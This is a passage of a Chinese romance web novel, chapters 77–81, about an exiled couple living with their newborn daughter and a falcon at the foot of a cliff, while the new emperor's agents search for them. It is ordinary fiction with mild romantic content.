宣槿妤一下子惊愣住,他怎会这般想? 她顾不得其他,只狐疑地看他,“我何时说过我喜欢的夫君是三哥哥那样的?” 她可冤得很。 苏琯璋冲她露出一抹苦笑,“你不记得了?新婚第一个月,你送了我一方手帕。只那之后,你待我的态度便急转直下。” 他想起那时的不安和失落,语气也变得低沉消极,“我以为是自己做错了事,便想着早早回府陪你。只是走到内室门口时,便听得你和采薇她们在说话。” 宣槿妤隐约记起了什么,不过还不待她说话,他已经继续说了下去。 “采菽问你,为何对姑爷态度冷淡了。” “我当时想,连丫鬟都看出来的事,你却不愿意对我说真话。” 宣槿妤心虚地偏过头,没看见他失落语气中,藏于眼中的笑意。 “你说,你看厌了我的冷脸。你喜欢的人,当有着三哥哥那样温柔体贴 的性子。” 宣槿妤在他胸膛上借力,将身子往上挪了挪,小心地去看他的面色,“你真听见啦?” 她想起这回事了,“我,我当时是故意那么说的。”她有些不好意思地说道,“总不能说,我受了噩梦的影响,怕自己步夫子的后尘吧?” 苏琯璋抓住她方才被岚姐儿抓红的那根食指,亲了亲,“那你现在呢?还会被夫子的事影响么?” “你觉得呢?”宣槿妤反问他,一张俏脸早已红透。 她可以和娘亲、三嫂嫂说喜欢他,但面对本人,她怎么说得出口嘛! “嗯。”苏琯璋将她抱坐起来,摩挲着她的作烧的脸颊,“槿妤对我的情,盖过了夫子对你的影响。” 他笑着用侧脸代替手指去蹭她,“我说得可对?” “不害臊。”宣槿妤被他蹭得脸痒痒的,想要躲开他的脸。 羞死人了,她不想见到他那张溢满笑容的脸。 “嘘,别吵到岚姐儿。”苏琯璋坏心地堵住她的唇。 良久,唇分。 宣槿妤靠在他怀中,到底不忍心让他失望,“你说得对。”她小声地说,不自在地捂着两边都在作烧的耳垂。 苏琯璋心口一滞,虽然他早猜到了真相,但真听到她承认,胸口涌出的热流还是将他冲刷得难以自抑。 “槿妤。”他低低地唤着她的名字,语气缠绵。 “那时候,我设计你提出和离,是不是很难过?”苏琯璋忽然问。 她这样克服夫子留给她的恐惧,勇敢地留在他身边,却被他生生将最后一丝情意掐断。 他再一次后悔那时自己的狠心。 提起这事,宣槿妤眼睛微酸,“你说呢?” 自二人将话说开,知道彼此是两情相悦之后,她便少了很多酸涩的心思。 他们分明是最亲密的夫妻,可之前三年,却生生将彼此隔开,险些还要真的和离了。 “你竟真的签了和离书。”想起这事,宣槿妤再是放下之前的酸涩心事,这件也是不能忘的。 苏琯璋俯身吻她,“槿妤,原谅我好不好?” …… 那夜过后,夫妻二人彻底将彼此之间所有的心事都说开,感情更深了一层,只恨不得时时都黏在一起。 直到山外面的消息不再传回崖底。 第78章 第78章欲要做一场戏给这些人看…… 孩子满月后,苏琯璋便写信给苏家人和宣文晟,道是他们没有被暗杀成功的消息应当早已传回了京中,白隼这样抓着大包裹前往崖底也过于惹眼了些。 他们在崖底的生活已经安定,所需物品也基本齐全了,便可不用再给他们捎东西。 若白隼单只来往传信,还不那么显眼。 苏家人收到信,暗中留意了一番,半月后果真见几名形迹可疑的武人在附近徘徊。 因着宣文晟商队买下的这处宅子,当时是冲着附近僻静无人而定下的,周遭不是山水、便是草木。 乍然多了这样一伙衣着简练、一举一动皆彰显武者气质的人在宅子周遭走动,当真是惹眼得很。 “他们应该不是蠢。”苏琯煜习惯性地弯起唇,“实在是附近只有这么一处宅子,怎么也避不开我们的防备。” 他右手食指划过摊在桌上的舆图,测算了一番盛京城和淮招县之间的实际距离,“只是,他们来得也太晚了些。” 当日刺杀他们的所有黑衣人、和京中部分势力皆已被当时悲痛难当的苏家人带人绞杀干净;又失去暗中窥视的眼睛,新帝当是也没了他们下落的线索。 而这些人奉命从盛京出发到这里来,想必也颇费了一番功夫。 但一个半月了,新帝的人才寻到这里来,耽搁的时日也过于久了些。 苏声闻言只点点头,和苏琯煜分析起来。 这些人耽搁的日子里,除了失去他们踪迹这个原因,北边大雪封路的可能性又大了些。 还有一个可能便是——人手问题。 新帝盛誉曾是弱势皇子,又得位不正,想必手中可用的能人确实少了些,不然当日派来刺杀他们的两波黑衣人也不至于身手和规矩相差这样大。 “当日暗杀我们的那批黑衣精锐,当是那位最大的筹码了。”苏声说道,语气沉沉。 他眼下一本正经的样子,倒和岚姐儿满月那日拉着小儿子给自己当挡箭牌的模样截然不同,恢复了昔日苏国公府当家人的几分沉稳性子。 苏琯煜笑着颔首,“父亲说得有理。只是,小弟未亡的消息,当还是封锁为好。”他虽是笑着,笑意却不达眼底。 依着那位的疯劲儿,若是知道小弟妹没死,坠崖后还顺利生下他们苏家的孩子,谁知道他会做出什么事来。 能想出散布“帝王痴恋臣妻”谣言来的皇帝,谁能保证他不会再传出一个“宣家姑娘得龙气庇佑,福泽深厚”的谣言来? 那成了什么样子? 小弟妹的名声还要不要了? 传着传着,万一传出岚姐儿是他盛家帝王的孩子,可不是再恶心人一次? 岚姐儿是他们苏家明珠,怎么可以背负这样身世不清的传言? 苏声听他这么一分析,顿时也被恶心得不清。 不行! 宣槿妤是他苏家儿媳,岚姐儿是他乖孙女儿,决计不能让人这么糟蹋她们的名声! 岚姐儿出生至今,他都还没抱过她、尽过祖父之职,现在便让他来为她扫清这个障碍罢! 苏声想着,很快唤来暗卫,吩咐了一通,随即又带着苏琯煜去宣文晟的院子找他去了。 苏家父子俩和宣文晟商议了一番,谨慎地没有让白隼再送物资出去,亦断了和崖底的通信。 苏琯璋便知道是出了事了。 他摸了摸只带回一条纯白麻布的白隼,和宣槿妤道:“京中来人了,父亲他们不欲暴露我们未身亡的消息,欲要做一场戏给这些人看。” 这白布? 宣槿妤从白隼口中取下细看,发现这是寻常人家办丧事用的那种麻布。 “噢!”她沉默了一会儿,说道:“后日便是我们坠崖第四十九日,不正是我们的七七?” 怎么就让京中来人赶上这“最后一个忌日”了呢? 宣槿妤心头打鼓,给活人办丧事,她还从未见过。 乍然成为被“死亡”的当事人,她有些迷茫,心里也不大舒服。 不过,她这是很正常的反应。 “只是权宜之计,不会真写我们名字的。”苏琯璋安慰她,“若真写了,还有我陪着你呢!” 宣槿妤依偎在他宽厚温暖的胸膛,揽住他的腰,心里那股异样和不舒坦才慢慢消散。 白隼毋须再崖底山外两头飞,倒是清闲了下来,整日里除了吃东西,便是蹲在岚姐儿的小竹床边上,一双圆溜溜的眼睛直直地盯着她看。 也不知道它都看出了什么来。 而岚姐儿似乎也没有觉得有什么不对。 她自出生第一日,白隼便已经出现在她身边,她已经很熟悉它的气息了。 若是她醒着,白隼盯着她看时,她也会睁着一双水灵灵的大眼睛和它对视。 一双和苏琯璋像极了的眼瞳清透无瑕,引得白隼嘴里发出清亮悦耳的鸣声,似是高歌。 “我们像是养了两个孩子。”苏琯璋给白隼喂完肉,回来时这样和宣槿妤说道。 宣槿妤刚给岚姐儿喂完奶,闻言也是一笑,“你喂儿子,我喂女儿是吧?” 这句话像是戳中了她的笑点,她“咯咯”地笑个不停,笑得身子软倒在苏琯璋怀中,被他抱了满怀。 苏琯璋呼吸一重,摸了摸她的脸,正想对她做些什么,白隼振翅的声音便响了起来。 它又飞回了这大山洞中。 “倒不像是儿子,像是讨债的了。”苏琯璋深吸一口气,将头埋在宣槿妤肩上,平复着自己的火气。 自白隼日日和他们待在大山洞中,虽然料想 得到它什么也看不懂,可他们也不能真当它不存在。 不仅夫妻俩亲热的时间少了不少,就连宣槿妤给岚姐儿喂奶、苏琯璋给岚姐儿换衣裳换尿布,也得避着它。 也算是甜蜜的烦恼了。 宣槿妤没搭理他,只笑着招手让白隼到她身边来,“怎么吃得这样快?可吃饱了?”她摸了摸顺从地朝她露出肚皮的玉爪。 “真是吃饱了。”宣槿妤有些惊讶,“你吃得这样快?”她推了推苏琯璋。 苏琯璋会意,不舍地松开环在她腰间的手臂,起身走了出去。 须臾,他回来时盯着白隼看了好一会儿,才说道:“你怎么回事?这两日食量小了不少。” 白隼朝他拍打了下翅膀。 “看不懂。”苏琯璋说。 白隼没再搭理他,很快转身飞到岚姐儿的小竹床上,低着头看小孩子去了。 宣槿妤好笑地看着一人一隼互动的这一幕,拉了拉苏琯璋的手,“它又没将肉吃完?”她问,语气有些担忧。 自断了和山外的联系之后,白隼的食量便降了下来,不再顿顿吃两餐肉。 不仅如此,这两日,就连苏琯璋日常给它准备的生肉,它也还有剩下没吃完的。 “可是病了?”宣槿妤又问。 苏琯璋摇了摇头,重新将她揽在怀里,“不像是病了。” 他若有所思,当真思索着着方才白隼朝他扇翅膀那个动作的含义。 他是觉得,白隼这样通人性,想必也是能够做出些人能够理解的动作来的,可能只是因为他没看懂。 宣槿妤听笑了,“你还当真了?”她抬手摸了摸他的额头。 “当真了也没什么,”不待苏琯璋回答,她自顾自地说了下去,“反正闲着也是闲着,你慢慢想便是。” 他们被困在这崖底近乎两个月,她还好,前些时日因着身子没恢复,每日里睡眠时间占了一日时间的大半。 身子恢复过来之后,又有女儿和白隼陪着,还能拉着他说说话,倒也不算难熬。 倒是苏琯璋,前些时日里,日日对着睡得酣甜的妻女,没个说话的人。白隼也日日往返山里山外,也不能陪着他。 端看这一大一小山洞里的大大小小架子、摆件、药草,和山壁后头的浴池,便知他前些时日都在忙些什么。 而自她清醒的时间变多了之后,他也甚少忙活他那些活计。 他又不是真要当个竹匠,该用的东西置备齐全了便不需要再继续忙活儿了。 苏琯璋便这样清闲了下来。 每日里除了外出寻找吃食、做饭、给孩子换尿布、洗澡、清洗他们一家三口的衣裳,倒也没什么活计可做了。 给宣槿妤沐浴、洗发、洗手用的花露他都已经做好,放了满满的一个架子。 药草也暂时不需要晾晒、炮制了,两个大山洞都已经无处可放,他甚至还托白隼送出去不少。 宣槿妤点着点着,忽然便有些心虚,“夫君,你每日里做的活儿还挺多的。”她真心实意道。 苏琯璋每日里其实并不清闲,只是相较于她坐月子时他从早忙到晚的状态,这几日他看着是闲了些许。 可事情也不少了,他都几乎将一日里所有的活儿都包揽了。 若非他没有奶水,怕是连喂奶的活儿他也抢着干了。 “夫君,你辛苦了。”宣槿妤回抱住他,娇声道。 苏琯璋含笑看着她,亲了亲她那双鲜活灵动的眼睛。 他是发现了,他这妻子,平日里不爱唤他“夫君”,总喜欢连名带姓地叫他。 可一旦有什么危险的事儿,或者她心里情绪动荡,想要关心他了、或是想要和他撒娇了,便一口一个“夫君”,倒是熟练到不能再熟练。 “你夫君我能者多劳。”苏琯璋瞥了一眼白隼,见它已经将头埋在翅膀之间,已经睡了过去,便压着宣槿妤,继续完成他方才被打断的事。 苏琯璋是晚膳过后,携着宣槿妤、抱着岚姐儿在山洞外围散步消食时,见白隼一飞冲天,才恍然大悟,想明白了它食量为何变化这样大。 第79章 第79章再不让她往外走走,她就…… “噢,前段时日你是因为太累了才胃口那样大?”苏琯璋摸了摸白隼的头,“实在抱歉了,竟冤枉了你。” 他如此说,宣槿妤也明白了过来,附和道,“就是就是,居然还说人家贪吃,可过分了。” 苏琯璋含笑着看她。 合着她就这么将黑锅给他背了? 宣槿妤瞪他。 好罢,苏琯璋老老实实地接了这口黑锅,二人份的。 时间来到十一月底的时候,宣槿妤终于可以离开山洞,往更远的地方走走。 虽然半月前她已经可以在洞口附近走动,但日日走同一条路线,看同样的风景,苏琯璋不腻、她都走腻了。 洞口那棵填着岚姐儿胞衣的小桃树,她都摸了一遍又一遍,连它新长出叶子的纹路都熟记于心。 再不让她往外走走,她就要闹了。 昨晚她是这么“威胁”苏琯璋的。 苏琯璋失笑,当即便应了她的要求,今日早膳过后,便牵着她走出了洞口的范围。 而他另一只手上抱着刚刚醒来,睁着眼睛安安静静的岚姐儿。 终于离开这山洞附近,宣槿妤长舒一口气,只觉得胸中畅快不少。 她学着白隼的模样,目光一直梭巡着周遭的环境,最后落在身边人身上。这才发现苏琯璋腰带换了,宣槿妤甚至觉着这腰带好似有几分眼熟。 她看了半晌,走出山洞好长一段距离了,她才蓦地想起来,问他:“你的软剑不是扔了吗?” 她认出来了,这腰带,不就是他之前的那柄软剑么? 那日坠崖时,她在被他接住前,曾看到他的软剑从自己很远的地方快速掠过,消失在她的下方。 事后,她曾问过他。苏琯璋道是他将剑扔了,为了加快他自己坠落的速度,好接住她。 才问完,宣槿妤便意识到什么,“是父亲他们带人找到的?”她换了个问题。 苏琯璋紧了紧握住她的手,“嗯”了一声,“暗卫在山的东面找到的。当时这柄剑插在草丛里,他们第二轮搜寻时才发现。” 得知他们无恙后的翌日,苏声便将这柄软剑塞进一众物资里,托白隼带到崖底给他。 不过,这柄剑饮血过多,有了煞气。而宣槿妤那时才生产没多久,担心影响到她,他便一直将这剑搁置在小山洞里,也没有让它近过身。 如今宣槿妤气血基本恢复,他也便将这软剑重新环在腰间了。 佛道之事,他以前总不大相信。不过,眼下他到底有了些敬畏之心。那日和宣槿妤说想和她生生世世当一对恩爱夫妻,也是他的期许。 如此,佛道两家的一些忌讳,他便也上了心。 产后第一晚,宣槿妤听苏琯璋读过家中亲人给他们写的那些信,自然得知当时他们二轮搜山的事。 “幸好白隼找到了我们。”宣槿妤庆幸道。 若非有白隼替他们送信,家中亲人还不知如何担忧。 “嗯。一饮一啄、因果自定。”苏琯璋说。 当日他们救下那只白隼,本以为猛禽难以接近,却不想它如此喜欢宣槿妤,竟肯让她近身。 而后三个月的喂食与陪伴,也分不清是谁在陪着谁了。 “你还真的从此入了佛道不成?”宣槿妤听着他煞有其事地说着他此前 从不会说的话,挠了挠他的掌心。 “不成。”苏琯璋答非所问,紧扣住她在自己掌心作乱的手,“为夫若真的入了佛道,夫人便就要带着岚姐儿哭了。”他开了个玩笑。 贫嘴。 宣槿妤扬起唇角。 不过……走到坠崖那日她曾来过的竹林,听着竹林风声,宣槿妤忽然想起一个问题。 “不对,你的软剑为什么会到山的东面去?”宣槿妤指了指离他们十分遥远的一座耸入云端的山峰,“那座山?” 岚姐儿打了个呵欠,却不愿意睡觉,睁着泛起水意的双眸,强撑着看着她的爹娘。 苏琯璋拍了拍她的背,熟练地开始哄睡。 “是那座山。”苏琯璋答。 “我们坠崖中途,有一阵大风吹来,你可还记得?”苏琯璋问她。 大风?他们坠崖的一路,风声都很大呀! 宣槿妤先是不解,而后便是一怔,是有一阵特别、特别大的风来着。 她想起了当时他们在空中微微停滞的那一下,原来竟不是她的错觉么? 见她已经想明白,苏琯璋偏头俯身亲了亲她的脸,才站直身,若无其事地松开挡住孩子视线的手。 “你想得不错,确实是那阵大风将我们吹到这里来的。”如若不然,他们掉下的位置就当是在软剑附近才是。 只是,听父亲在信里说,他们搜寻的那座山可荒凉得很,夜里连个栖身的山洞都找不到。 且夜里气温骤降,冷得女人和小孩们都有些受不住。 “多亏了那阵风。”苏琯璋忽而有些后怕。 只光看父亲在信上的寥寥数语,就知道外面的人在找他们的时候吃了多少苦,遭了多少罪。 而槿妤那时候还正是临产的时候,若是他们掉进那座山,不说能不能活下来;便是侥幸活下来,槿妤和孩子还不知道要怎么遭罪。 他低头看着怀中已经阖眼睡去的女儿,爱怜地亲了亲她的小脸蛋。 “小猪崽,多亏了你娘亲的气运。” 宣槿妤也听懂了他的未尽之意,心里也是不安。但想到自己从小到大的好运气,她很快冷静下来。 而此时,听闻苏琯璋这样说,她捏住他的脸,“是多亏了我的好运气。”她手上微微用了力,“只是,你再叫岚姐儿一声小猪崽试试?” 女儿是猪崽,那生下女儿的她又是什么? 苏琯璋闷笑,“槿妤,”他任由她掐着,只偏过来的目光带了几分了然,“你是不是日日对着岚姐儿的脸,想掐,又担心弄伤她,才来掐我的?” 他可都听见了,她私底下也没少叫女儿“小猪崽”,就他叫不行。 他摸了摸女儿的小脸蛋,你娘亲可双标1得很。 被他说中了,宣槿妤心虚地收回了手。 “岚姐儿睡着了?”她躲避话题。 苏琯璋看了她好一会儿,又低头亲了亲女儿肉嘟嘟的小脸儿,“岚姐儿,你这样可爱,你娘亲心里竟想着掐你。” “苏琯璋,你冤枉人。”宣槿妤撑着气势,却担心吵到刚刚睡着的孩子,压低了声音道。 “在。”苏琯璋应了声,而后又用另一只手牵起她,“是为夫冤枉你了,回去任你处置,如何?” 宣槿妤翘起唇,挠了挠他的掌心,“苏琯璋,你这样,真的显得我很无理取闹诶!” 她严重怀疑这男人就是故意的。 故意逗弄她,惹她生气,然后又开始哄她。 “你学坏了。”她说。 苏琯璋牵着她穿过清朗的竹音,“嗯,我学坏了。”他应道。 夫妻俩在崖底闲谈散步时,隔了几重山水的山外脚下,并不怎么太平。 一群瞧着就身手不凡的玄衣武人包围了山中猎户的家,并在门口敲了许久的门,也不见人应声。 为首的玄衣人正要踹门之际,隔壁农户有人打开了木门,隔着一道木栅栏和这群人打了个照面。 “你们是谁?找猎户有事?”农户警觉地问道,同时伸手阻拦了身后的女人,不让她走出来。 玄衣人首领上下打量了他一番,见他只是个普通人,收起了身上的杀气,但身上气势依旧慑人。 “你们是近期搬过来的?”他问,语气颇有些不客气。 农户被他问得心里不舒坦,但瞥见这群人腰间的刀剑,只得压下火气,老老实实地回道:“搬过来有一年多了,木栅栏倒是才换了新的。” “猎户去哪里了?”玄衣人首领又问。 农户摇头,“猎户寻常不出门,一出门便要往山里钻,待个两三个月才拖着猎物回来。” 他边说边回想着,“他约莫是一个半月还是两个月前出的门,我瞅着他往山里走了。” “他进山之后,有出来过么?” 农户压着心底的不耐烦,手依旧撑在门口,挡着背后的妻子,“没有,他一般不会这么早回来。”他说。 玄衣人首领盯着他看了许久,直将农户瞧得心里直打鼓,生怕他们杀人灭口。 可是,他又没说错什么,灭口也不至于罢? 农户还忐忑地想着,玄衣人首领已经将手抵在嘴边,吹了个呼哨。 呼啦啦的,一群人从猎户高高的院墙各处跳了出来。 农户吓得“砰”地一声关了门,将门栓卡牢了,推着妻子穿过堂屋,跑里屋躲着去了。 他妻子莫名其妙地被他挡在门口,听他和人说了几句话,也没听出什么了不得的事来。 见丈夫这样慌慌张张的,她有些不高兴,“你作甚?我还得煮饭呢!你不饿?” 这遭了瘟的男人,昨夜里不知吃了什么,连床都不上,压着她在堂屋方桌上就开始行房事,半夜才让她睡去。 她头一回起这么晚,腰又酸又痛不说,肚子都要饿扁了,他却在这里不知搞什么名堂。 “嘘!”农户捂住了妻子的嘴。 等到夫妻二人再听不到门外任何动静,瞧瞧打开门偷瞄时才发现,那群玄衣武人早就不知去向了。 “这就是你说的要死人?”女人火气上来了,将门拉开,指着空荡荡的风声,“哪里来的坏人,要杀我们?” 而农户夫妻俩一山之隔,山脚的村民也遭到了同样的盘问。 不过,盘问完,玄衣人这回却没急着走,继续问道:“你是说,有人掉下那座高峰了?是谁掉下去了?可还活着?” “你们说那两个掉崖底的人?”手里捧着猪草,正急要回家喂猪的村民嘴里嘀咕着,“怎么这么多人来问。” 他都走到自家门口了,却被人拦住问了半天不相干的事,谁心里会高兴? 他家里的猪都哼哼唧唧很久了。 他妻子见来人面色不好,忙拉住老头子,陪笑道:“有人日日在找着的。几位大爷去问问他们更好。” 第80章 第80章咦?那里好像有座小木屋…… 玄衣人首领听到老婆子的插话,也没什么反应,只不动声色地继续问:“他们找了多久?” “一直在找着的。这山里没有休息的地方,他们早出晚归,日日都来。”老婆子和气地回答道。 倒是识趣。 玄衣人首领满意了些,身上的煞气也散了不少。 “昨日大雪封山,他们才没出现,今日好像也没来。”村民补充道,将猪草塞到老婆子手里,推着她进家中喂猪去了。 玄衣人首领看着老头子眼中的警惕,一直握着剑柄的手松了松。 “你说的,可都是实话?”他问。 老头子盯着他的剑柄,腿都在发抖,但撑着门口站稳了,“绝不敢欺瞒各位大爷。”他颤着嗓音道。 等到这些玄衣人都走远了,他才抖着腿,哆哆嗦嗦地拴上了自家的院门。 老天爷诶,吓死他了。 怎么同样是找人,前头那群人客客气气的,这群人就跟要吃人似的? 老头子摇了摇门栓,心里依旧觉着不安稳,便走到院中一角的棚子里,吃力地拖着沉重的石碾子,挪到院门处,才松了口气。 老婆子喂完猪,担心 老头子不好好说话被那群一瞧就知道厉害的人宰了,忙跑出来,却见他瘫在地上,“呼哧呼哧”地喘着粗气,心里着急不已。 “怎的了?他们砍你了?” 她说着就蹲下去,要去翻看老头子的身子。 老头子喘着气,“没,没事,我搬石碾子过来,累着了。” 老婆子这才发现院门口挡着的石碾子,有些无奈,“他们走了就走了,不会回来的。石碾子挡在门口,我待会儿要出去翻地可怎么出去?” “今日就别出去了,下着雪呢!翻什么地?等下过雪再说。”- 宣槿妤和苏琯璋已经穿过竹林,又经过一片花海,二人不约而同地停下脚步。 苏琯璋摘了几朵野花替宣槿妤别在头上。 宣槿妤小心地摸了摸头上的野花,见花海旁边就是一条小河,便小心地避开草丛,蹲下去临水照了照,满意极了。 自他们被下狱、她又诊出了喜脉之后,她头上便少了许多装饰。流放的这一路,他们连夜里安稳地寻到驿站住宿都艰难,她便更没什么打扮的心思。 头上只一根素色金簪,就这样过了大半年,可将宣文晟瞧得心酸。 可他见着妹妹挺着那样大的一个肚子,被妹夫抱在怀中赶路,也没了这份将妹妹打扮得漂漂亮亮的心思。 再后来,他们落到这崖底来,偌大的山坳里,仅住了他们小夫妻加上岚姐儿三人。山外的人,别说宣文晟,便是心思细腻的许萱娘,也想不到这一层去。 平日里山外的人托白隼送过来的物资,不是米面油盐等吃食调料,便是衣裳被褥、鞋袜帕子等日常用得着的东西。 就连宣槿妤自己,也想不到那头上去。初时是她还未出月子,身子未恢复,顾不得许多。 后来能下地了,日日看着慢慢长大的岚姐儿都看不够,哪里分得出心思来打扮呢? 都说“女为悦己者容”,但宣槿妤才没有这个想法。她若是打扮,便只会是为了取悦自己,而非为了旁人。 女夫子教导过她,品行教养才是最重要的,容貌不过是锦上添花。 虽说女夫子后来给宣槿妤灌输的很多想法都很极端,但那之前她对宣槿妤的教养,可深得宣家和林家人的心。 他们两家娇养出来的姑娘,可不能因为外在变化而失去自己的本心。 是以,怀孕之后,宣槿妤对于容貌和身子的变化,也没有太放在心上。 她知道自己孕后期腿脚浮肿、俏脸变胖、肚皮更是高高被撑起,容色又疲惫,常疼得眼泪汪汪的,实在说不上好看。 但她从未因此自卑或者伤怀过。 她心甘情愿地为了这个孩子,流放之苦她都吃下了,何况只是容貌身段上的变化。 她不在意,苏琯璋也不在意,反而因为她的身子变化而深刻意识到妻子妊娠的苦楚,而越发心疼她。 倒也是意外的收获。 要知道,世间男子,多的是觉得妇人生儿育女是天经地义。 端着高高在上的大老爷们做派,不仅不体恤妻子怀孕时吃的苦头,还要她挺着大肚子操持一家子的家事,更甚者,要她亲手将其他女人推上他们的床。 不然就是不贤惠,善妒。 这世间女子遭受的不公,早在宣槿妤及笄前,宣家人和林家人都已经思量过了。 若非如此,他们也不会在宣槿妤抗旨拒婚之时,毫不犹豫地就答应了。 而林太傅在苏琯璋刚从漠北回京之时,就登上苏国公府的大门,便也是冲着苏家世代夫妻忠贞、互相敬重的这份美名而来。 苏琯璋到底也没辜负外祖父的一片慈爱之心。 宣槿妤的整个孕期,他都尽自己的最大努力,让她少吃点苦头。而后更是为了她,主动跳下悬崖,真正做到了生死相依。 生死之间走一遭,夫妻又心思相通,宣槿妤已经懂得互相扶持、守护彼此的可贵。 如此一来,不过是没有华丽的发饰而已,她哪里会介意。 直到她出了月子,苏琯璋拿出他用了一个月打磨雕刻的簪子,替她绾起一头青丝。 这崖底树木众多,连北方不易见的檀木都有,簪子便是用檀木制成的,质地坚硬,他竟还刻了一副连理缠枝的花纹在上头。 宣槿妤摸了摸露在发髻外面、打磨得极为光滑的簪头,怔了一瞬。 她才意识到,原来她潜意识里也在盼着,这个男人想她所不介意之事,初衷只是因为他心疼她。 苏琯璋没有说什么日后定会送她更多首饰珠宝之类的话,他只是摸了摸她的脸,说:“我手艺不精,委屈你将就一下。” 宣槿妤听懂了他的未尽之意。 她收起了那根用了半年多的素色金簪,日日留在她发间的,是他亲手所做的那根簪子。 她以这样的方式告诉他,她不委屈。 何况那上头雕刻着的纹样,她也欢喜得很。 愿为连理枝。 “我很喜欢。”宣槿妤说,少见地在他面前用了“喜欢”二字。 山洞中没有镜子,山外的人不记得送,山内的人也没想起要。此时宣槿妤临水自照,隔了将近两个月,看清了自己如今的模样。 生下孩子将近两个月,她身子几乎已经恢复到有孕之前的状态,只身子略微丰腴了一些。 但她那时身段还是苗条了些许,总有些弱不禁风之态。如今生完孩子,纤秾合度,恰恰是最完美的状态。 发髻十分简单,只用一根檀木簪子固定住,但这样也无损她的貌美。 虽如此,她头上到底还是素净,与身上的精致衣裳不大相配。现下加上这几朵野花,倒也给她添了几分野趣与艳丽。 宣槿妤方才恍惚觉着,好似京中那高贵明艳的宣小少夫人又回来了。 随苏家人流放这条路是她自己选的,她不后悔;留下岚姐儿这个孩子,更是她最大的庆幸。 为此,她甘愿吃了大半年的苦头,又落到这崖底,她也没诉过一声苦。 但偶尔透过他的眼眸,看到自己素素净净的模样,说是不介意,她到底也会怀念当初那个明艳逼人的自己。 他是否也是察觉到了自己的这些女儿心思,才给她雕刻了那根檀木簪子,而现下又给她发上簪花? 宣槿妤心里微暖,水中倒映出来的明丽佳人眉眼微弯。 只是,他从哪里学来的这些哄人的把戏? “说实话,你跟谁学来的招数?”宣槿妤也没起身,就着这个位置揪着苏琯璋的衣摆,可顺手得很。 苏琯璋将她从地上拉起来,“小时看父亲这样哄过母亲。”他回答道。 宣槿妤脸上露出狡黠的笑,“父亲母亲感情真好!” “我们感情也很好,不必羡慕他们。”苏琯璋说,低头在她脸上亲了亲。 岚姐儿在他怀中睡得正香,他毋须挡着她的视线,便放肆了些,唇瓣一路沿着她的脸颊到她唇瓣,再往下,贴着衣领…… 暧昧的呼吸声纠缠在花海中。 方才那些思量亦很快消融于这样灼热的气息中。 待宣槿妤呼吸平复下来,他们二人又继续往前走。 “咦?那里好像有座小木屋。”宣槿妤指了指视线不远处的一点房檐道。 房檐上竖着一棵高高的大树,枝繁叶茂,在风中摇曳不休,可显眼得很。 苏琯璋脱下外袍包住女儿,“我们过去瞧瞧。” 果真是座小木屋。 二人对视一眼,皆在对方眼里看到了兴奋。 有小木屋,就意味着这里至少曾经住过人。 至于现在有没有居住,依着苏琯璋这近两个月来,日日借着寻吃食的间隙观察的结果来看,当是没有的。 他还不至于连这山中有没有其他人都觉察不出来。 这样可能会危及妻女性命的事,他可上心得很。 有了目标,二人不再漫无目的地走,很快便来到小木屋跟前的小道上。 石子铺成的小道,野草几乎要将石子淹没在一片碧绿之下,只中间的大块石头,还顽强地撑着露出平整、长满青苔的一 角来。 苏琯璋腰间的软剑派上了用场,他很快清理出一条干净的路,又在宣槿妤脚下撒了一圈驱虫蛇的药粉,才将女儿小心地递给她。 “槿妤,你和女儿在这儿等我一下,我去看看就回。” 小木屋明显很久都无人居住了,蜘蛛网遍布,房顶上甚至有树枝延伸出来,像是房间里头有树强势地穿过房顶生长出来似的。 苏琯璋再次取下腰间软剑,抖开。 剑风扫过房门,“吱呀”一声十分难听的开门声响起,而后是重物倒地的声音。 木门倒了。 尘土一片飞扬。 宣槿妤一直紧紧地盯着前头的动静,见木门摇摇欲坠,忙捂住岚姐儿的双耳。 她站得远,且风向不朝着她,尘土并没有扬到她们这里来。 她再去看苏琯璋,便见他也是十分迅速地闪身,遥遥避开了迎面洒出的尘土。 宣槿妤松了口气。 良久,尘土散开,不过,久不见天日的木屋依旧昏暗。 苏琯璋上前,试了试小木屋门口几根柱子的结实程度,确认暂时没有倒塌的风险之后,才走了进去。 这座小木屋年久失修,已然在全盘倒塌的边缘了。 苏琯璋很是谨慎地没有碰到任何东西,只快步在屋内搜寻了一番。 木屋内什么也没有,厅堂内被一棵树顶穿,有光线漏进来,照亮了这方寸之地。 苏琯璋转身去了后院。 后院杂草丛生,什么痕迹都被遮掩了。 顾忌着留在外头的宣槿妤和女儿,苏琯璋没有再看下去的想法。 只他转身时,眼角余光敏锐地察觉到一点不似寻常的痕迹,脚步顿了顿。 80-90 第81章 第81章婴孩特有的稚嫩声音打断…… 苏琯璋进去已有小半刻钟了,怎的一点动静都没有? 宣槿妤有些担心,但记着他说的话,并不上前,只站在原地喊他。 “夫君,你怎么样了?”莫非里头有什么连苏琯璋也对付不了的怪物? 虽然十分相信这男人的能力,但人的想法是禁不住的。她胡思乱想着,什么乱七八糟的念头都开始浮现在眼前。 苏琯璋飞身出来。 “怎么了?”他在宣槿妤面前停了下来,“可是遇到了什么危险?”他紧张地问。 关心则乱。 夫妻俩都是。 近两月来,宣槿妤在山洞里待着的时候,苏琯璋也几乎日日都会离开小半刻钟,去打猎捕鱼、砍竹子采药草等。 他出去一回,便准备好了一日的食材,连带着当日要用到的竹子药草等也都准备齐全。 效率可谓十分惊人。 宣槿妤有时候撑不住睡着,便不知道他回来的时辰。只是觉得,她睡前他伴在她床边,睡醒后,他也待在她身旁。 心里十分安稳。 她也好奇过,他放任熟睡中的她和女儿在山洞中,就不怕有什么野兽、毒蛇之类的伤害她们母女吗? 不过,还不待她问他,她已经得知了答案。 一日她醒来,抬手去摸女儿的脸时,不慎将苏琯璋安置在她身侧的竹筒推倒在地;苏琯璋那时也似这般,不过瞬息便回到了她身边。 “怎么不说话?”苏琯璋越发担心,没有握剑的那只手探出,去摸她的脸。 宣槿妤看着他着急的模样,心里又暖又甜,“无事,只是担心你。”她没有吝惜自己的担心。 苏琯璋眼中有了暖意,又摩挲了一会儿她温热嫩滑的脸颊,才收剑回腰间。紧接着便伸手去接她怀中的女儿,“手酸了罢?” 宣槿妤抬眼看他,见他身上、头发上竟是连一点灰尘都没沾,笑了笑。 “那你回去给我揉揉。”她眼里倒映着阳光,灿烂和暖得让他一颗心也像是住进了盛夏里。 “好,回去我给你揉揉。”他温声道。 二人往回走。 回到山洞中,将女儿放到她的小竹床上,苏琯璋回身抱住宣槿妤。 “槿妤,平日里我外出的时候,你是不是也似方才那样,很担心我?”他低声问她。 宣槿妤回抱住他,“那你要将我和女儿都带上吗?”她不答反问。 